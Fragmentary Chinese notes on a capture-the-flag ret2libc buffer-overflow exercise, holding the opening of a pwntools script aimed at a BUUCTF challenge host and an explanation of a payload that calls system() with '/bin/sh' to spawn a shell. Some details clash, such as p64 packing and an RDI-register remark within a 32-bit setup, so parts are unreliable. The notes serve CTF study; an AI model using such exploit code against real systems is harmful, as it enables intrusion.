from pwn import * from LibcSearcher import LibcSearcher context(arch='i386', os='linux', log_level='debug') io = connect('node5.buuoj.cn',29724) # 与在线环境交互。 #_______________需要用到的地址区包括offset_____________________ leak_func = 0x08048474 main_addr = 0x080484C6 offset1 = 0x88 + 4...

payload: padding1 + address of system() + padding2 + address of “/bin/sh” padding1 处的数据可以随意填充(注意不要包含 “\x00” , 否则向程序传入溢出数据时会造成截断) 长度应该刚好覆盖函数的基地址 padding2 处的数据长度为4(32位机),对应调用 system() 时的返回地址。 因为我们在这里只需要打开 shell 就可以,并不关心从 shell 退出之后的行为,所以 padding2 的内容可以随意填充。 p64(elf.got['puts']): 参数1 - puts函数的GOT表地址 p64(elf.sym['puts']):...

system 在Linux中,system()函数调用后,传入的参数(如"/bin/sh"字符串地址)通常存储在RDI寄存器中。